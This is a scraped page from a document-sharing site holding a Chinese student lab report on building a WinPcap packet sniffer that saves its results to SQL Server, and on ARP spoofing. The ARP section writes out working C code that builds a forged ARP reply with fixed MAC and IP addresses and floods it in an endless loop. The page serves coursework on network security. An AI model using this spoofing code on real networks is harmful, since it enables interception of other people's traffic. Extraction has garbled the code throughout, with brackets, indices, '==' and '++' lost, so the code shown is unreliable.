版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、精选优质文档-倾情为你奉上信息安全专业程序实践四网络安全与网络管理实践报告软件学院实验成绩表程序实践网络管理与网络安全实践 实践成绩指导教师签字时间东北大学软件学院2011年版专心-专注-专业程序实践 1. 实践内容l 掌握Sniffer程序的原理l 通过Winpcap抓取数据包,并加以分析。l 对数据包的抓取进行过滤,得到目标数据包。l 对抓取的数据包进行分析,分析得出MAC地址,IP地址,端口、协议等等信息。l 将获得的数据包分析结论存储到SQL Server 2008数据库中。l 实现一个类似于Ethereal的源程序。l 根据ARP报文格式,通过更改IP和MAC的对应实现ARP欺骗。2
2、. 实践过程一、 捕获数据包通过Winpcap捕获数据包,并实现数据包的过滤,得到目标协议的数据包,流程如图1:图1 捕获数据包的过程在本程序中,我们通过新建一个线程来实现对数据包的捕获,首先在程序的初始化阶段进行WinPcap环境的初始化,查找本机的设备列表以及打开我们希望使用的网卡设备。具体代码如下:void CSnifferDlg:InitPcap()pcap_if_t *d; int i=0; char errbufPCAP_ERRBUF_SIZE; / 获取本地机器设备列表 if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL , &
3、;alldevs, errbuf) = -1)/ auth is not needed CString errInfo="Error in pcap_findalldevs_ex:"errInfo+=errbuf;MessageBox(errInfo); exit(1); / 打印列表 for(d= alldevs; d != NULL; d= d->next) printf("%d. %s", +i, d->name); if (d->description)printf("nt"); printf("
4、(%s)n", d->description); else printf(" (No description available)n"); if (i = 0) MessageBox("nNo interfaces found! Make sure WinPcap is installed.n"); /打开网卡d=alldevs->next;d=d->next;if(devs=pcap_open_live(d->name,65536,0,5000,errbuf)=NULL)CString errInfo="Er
5、ror in pcap_open_live:"errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs); exit(1);if(pcap_datalink(devs) != DLT_EN10MB) CString errInfo="This program works only on Ethernet networksn"MessageBox(errInfo); /* 释放设备列表 */ pcap_freealldevs(alldevs); exit(1); /设置规则struct bpf_prog
6、ram fcode;bpf_u_int32 netmask;netmask=0xffffff;if(pcap_compile(devs,&fcode,"",0,netmask)=-1)CString errInfo="Error in pcap_complie:"errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs); exit(1);if (pcap_setfilter(devs, &fcode)=-1) CString errInfo="Error in p
7、cap_setfilter:"errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs); exit(1); /不再需要设备列表了,释放它/ pcap_freealldevs(alldevs);/上述是我们初始化网卡设备的程序代码,而当我们打开设备之后,通过创建线程进行数据包捕获,并且调用每一层的协议分析的代码进行协议分析,同时记录程序所捕获到的不同协议的数据包的个数,我们这里利用到的线程函数如下所示:UINT ThreadFunc(LPVOID pParam)struct tm *ltime; char timestr
8、16; time_t local_tv_sec;int res;struct pcap_pkthdr *header;const u_char *pkt_data;CListCtrl *m_TD=(CListCtrl *)pParam;while(res=pcap_next_ex(devs, &header, &pkt_data)>=0)if(res=0)continue;/ 将时间戳转换成可识别的格式local_tv_sec = header->ts.tv_sec;ltime=localtime(&local_tv_sec);strftime( times
9、tr, sizeof timestr, "%H:%M:%S", ltime); CString time;time+=timestr;CString tempNum;tempNum.Format("%d",pkNum);m_TD->InsertItem(pkNum, tempNum);m_TD->SetItemText(pkNum, 1,time);/以太网分析ethernet_packet_handler(pParam,header,pkt_data);pkNum+;totalNum+;if (isOpen=FALSE)break;if(r
10、es=-1)CString err="Error reading the packets: "err+=pcap_geterr(devs);AfxMessageBox(err);return 0;二、 数据包的分析利用定义好的报文头部结构体,通过内存地址,获取每一层协议的对应的报文信息,对于数据包的分析过程可用图2所示流程图进行表示:图2 数据包分析流程通过对每一层协议的分析,得出在不同的协议下的数据报信息,下面是我们列举的捕获分析以太网数据包的代码片段:/* 每次捕获到数据包时,都会自动调用这个回调函数 */void ethernet_packet_handler(LPV
11、OID pParam,const struct pcap_pkthdr *header, const u_char *pkt_data)dlc_Header *dlcHeader;dlcHeader=(dlc_Header *) pkt_data;CListCtrl *m_TD=(CListCtrl *)pParam;/输出源mac地址 目的mac地址CString SrcMac,DesMac,tempMac;for(int i=0;i<5;i+)tempMac.Format("%02x",dlcHeader->srcmaci);SrcMac+=tempMac;
12、tempMac.Format("%02x",dlcHeader->desmaci);DesMac+=tempMac;SrcMac+=":"DesMac+=":"tempMac.Format("%02x",dlcHeader->srcmac5);tempMac.Format("%02x",dlcHeader->desmac5);SrcMac+=tempMac;DesMac+=tempMac;m_TD->SetItemText(pkNum,4,SrcMac);m_TD->
13、;SetItemText(pkNum,5,DesMac);switch (ntohs(dlcHeader->ethertype)case 0x0800: /0x806 arp protocol 0x8035 rarpip_packet_handler(pParam,header,pkt_data);break;case 0x806:/ARP ProtocolarpNum+;m_TD->SetItemText(pkNum,8,"ARP");arp_packet_handler(pParam,header,pkt_data);break;default:m_TD-&
14、gt;SetItemText(pkNum,8,"Other");m_TD->SetItemText(pkNum,2,"Other");m_TD->SetItemText(pkNum,3,"Other");m_TD->SetItemText(pkNum,6,"Other");m_TD->SetItemText(pkNum,7,"Other");三、 存储数据到SQL Server 2008数据库我们首先通过语句载入C盘文件#import"C:ProgramFile
15、sCommonFilesSystemadomsado15.dll"no_namespacerename("EOF","adoEOF")然后利用:CoInitialize(NULL); 语句来初始化OLE/COM库环境连接字符串如下:hr = m_pConnection.CreateInstance("ADODB.Connection");/创建Connection对象_bstr_t strConnect="driver=sql server;server=(local);uid=;pwd=;database=tes
16、t"来连接到数据库。我们通过Execute、以及_RecordsetPtr来实现对数据库的增删改查。在程序退出之后,我们还需要关闭记录集和链接。利用:CoUninitialize();语句来关闭ole/com库,释放资源四、 实现ARP欺骗ARP欺骗的原理:一个位于主机B 的入侵者想非法进入主机A,入侵者必须让主机A 相信主机B 就是主机C,如果主机A 和主机C 之间的信任关系是建立在硬件地址的基础上。这个时候需要用ARP 欺骗的手段让主机A 把自己的ARP 缓存中的关于 映射的硬件地址改为主机B 的硬件地址。可以制造假的ARP 请求报文或者是应答报文,指定AR
17、P 包中的源IP、目标IP、源MAC 地址、目标MAC 地址。这样就可以通过虚假的ARP 请求报或响应包来修改主机A 上的动态ARP 缓存达到欺骗的目的。我们首先通过填充arp报文,然后通过pcap_sendpacket方法实现虚假的ARP数据包的发送。具体代码如下:arp_header ah;ah.desmac0=0x10;ah.desmac1=0x78;ah.desmac2=0xd2;ah.desmac3=0xf7;ah.desmac4=0x60;ah.desmac5=0xfa;ah.srcmac0=0x10;ah.srcmac1=0x78;ah.srcmac2=0xd2;ah.srcma
18、c3=0xf5;ah.srcmac4=0xc9;ah.srcmac5=0xf8;ah.ethertype=0x0608;ah.HW_Type=0x0100;ah.Prot_Type=0x0008;ah.HW_Addr_Len=0x06;ah.Prot_Addr_Len=0x04;ah.Flag=0x0200;ah.Send_HW_Addr0=0x10;ah.Send_HW_Addr1=0x78;ah.Send_HW_Addr2=0xd2;ah.Send_HW_Addr3=0xf5;ah.Send_HW_Addr4=0xc9;ah.Send_HW_Addr5=0xf8;ah.saddr0=0x0
19、a;ah.saddr1=0x01;ah.saddr2=0x01;ah.saddr3=0x37;ah.Targ_HW_Addr0=0x10;ah.Targ_HW_Addr1=0x78;ah.Targ_HW_Addr2=0xd2;ah.Targ_HW_Addr3=0xf7;ah.Targ_HW_Addr4=0x60;ah.Targ_HW_Addr5=0xfa;ah.daddr0=0x0a;ah.daddr1=0x01;ah.daddr2=0x01;ah.daddr3=0x36;for (int k=0;k<18;k+)ah.Paddingk=0;unsigned char *arppacke
20、t = (unsigned char*)malloc(sizeof(ah);memcpy(arppacket, &ah, sizeof(ah); pcap_t *adhandle; pcap_if_t *fp; pcap_if_t *d; char errbufPCAP_ERRBUF_SIZE; int i = 0; /* 获取网卡列表 */ if(pcap_findalldevs(&fp, errbuf) = -1) fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf); exit(1); /*
21、数据列表 */ for(d=fp; d; d=d->next) printf("%d. %s", +i, d->name); if(d->description) printf(" (%s)n", d->description); else printf(" (No description available)n"); if(i=0) printf("nNo interfaces found! Make sure WinPcap is installed.n"); return -1; d=
22、fp; d=d->next; d=d->next; /* 打开网卡 */ if( (adhandle= pcap_open_live(d->name, /设备名 65535, / 捕捉完整的数据包 1, / 混在模式 1000, / 读入超时 errbuf / 错误缓冲 ) ) = NULL) /* Y- 打开失败*/ fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn"); /* 释放列表 */ pcap_freealldevs(fp); return
23、-1; / pcap_sendpacket(adhandle,packet,100); int Pnum=0; for(;) printf("Send package %dn",+Pnum); pcap_sendpacket(adhandle,arppacket,sizeof(ah); _sleep(100); 问题及解决1. 在通过线程捕获数据包时,由于线程函数的创建错误导致程序不能正常运行,后来通过UINT ThreadFunc(LPVOID pParam) 定义函数名后,程序正常运行。2. 由于连接数据库的链接字符串出现问题,所以常常出现“未知的错误”导致我们链接数据库失败。3. 在进行arp欺骗时,常常将目标MAC与原MAC混淆导致欺骗失败。在通过Ethernet捕获发送的数据包后发现问题所在并得到了改正。3. 实践总结一、 实验结果源程序最终
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- (2026年)感染性休克护理查房课件
- 紫藤萝瀑布题目及答案
- 中考五角星的题目及答案
- 中兴校招笔试题及答案
- 阳泉矿区瓦斯涌出量预测方法的多维度探究与实践
- java常见笔试面试题及答案
- 辽宁农信笔试题及答案
- 母版设计笔试题及答案
- 写作部笔试题目及答案
- 大厂笔试题目及答案
- 《陆上风电场工程概算定额》NBT 31010-2019
- 有机化学200道选择题强化训练
- 肺脓肿手术的麻醉(3医院)
- 东方日立用户培训-设备维护培训教材
- 高中数学德育渗透教案【六篇】
- 电动车摩托车交通安全培训
- 委托工作联系单
- YY/T 0719.6-2020眼科光学接触镜护理产品第6部分:有效期测定指南
- GB/T 33092-2016皮带运输机清扫器聚氨酯刮刀
- PLC、组态控制十字路口交通灯毕业设计
- GA 1029-2017机动车驾驶人考试场地及其设施设置规范
评论
0/150
提交评论